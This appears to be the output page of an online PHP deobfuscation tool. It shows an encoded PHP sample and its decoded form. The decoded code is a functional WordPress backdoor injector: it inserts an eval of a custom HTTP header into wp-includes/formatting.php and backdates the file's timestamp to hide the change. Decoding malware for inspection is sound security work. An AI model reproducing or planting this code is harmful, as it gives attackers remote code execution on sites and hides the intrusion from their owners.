Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo gzinflate(base64_decode("jVFdj5pAFH038T/MJiSLWdOgrFjT+GA2urhZxG+RpiEwDjI4DBQGLD..
Decoded Output download
b"
phpConfValidate('YTo0OntpOjA7czo1MzoiL2hvbWUvbXlvaG9ob2wvcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvZm9ybWF0dGluZy5waHAiO2k6MTtzOjc6IjE3QzQ3RTgiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF8xN0M0N0U4J10pOyI7aTozO3M6MzY6In5eXHMqZnVuY3Rpb25ccyt3cHRleHR1cml6ZV9wcmltZXN+bSI7fQ==');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (strstr($source, $systemEnv) !== false) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
if (strstr($newSource, $systemEnv) === false) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
"
Did this file decode correctly?
Original Code
<?php echo gzinflate(base64_decode("jVFdj5pAFH038T/MJiSLWdOgrFjT+GA2urhZxG+RpiEwDjI4DBQGLDT97x0UV7fdpJ1A5mbm3HPPOVOvRV70FFJ3bRO8sxkS77fLUNIpi3R/0IVF2NKKEL+2vczZrDLHIJn93Aud9jGD6ho7z8Q32p7kbI7ZTh4we9PxHXV9MA0tM4Ne7mxG0u6ZpGbeOdrqAOvtg6ItWaH7UBn7Q3lWzOT5cn8+98tzLdfxy8A0TM952h+M1mS0Iib/E7oYzVer0ecfE0mTJtLq8aUlRXo+7trLsNBlTdGKrTKmHWSo2neTrtOtPI+cdgfCnMlQnROkzlswIIq57h35zkxj8uAsxl131u/fN77Ua25KIcMhBX9GIiQoboCf9Vq9BvgiOGFAFNyUkKnNvCYQkjxhKBjSjNcw3CG+RTZjKKYN0Acp5f2YkxVIdOwEKY/WDpWwM3E5uqQVkjCNIeINLibI2iNmwZAyRFlyHXYBYxeICYv5J1Z9tzIa4K7PaWySoJNuUK0YsTSmFcWvK9NdFKO9FdgMeuJFeRNciU83KGn8k0yg6Li42ODirBhFxIbcaUXxVfpWZQQ+gak6tYb6K6/eX5/nfmT1jf692/5/uxXKbAOGg0vOp/omX/AAWlLVk1KC6eHv8E/vE6UfvU/zJoILnIVpmesN5G1wCeHKfgM="));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | d06eb4ff9615f6f0fe82e86568fc44d5 |
Eval Count | 0 |
Decode Time | 49 ms |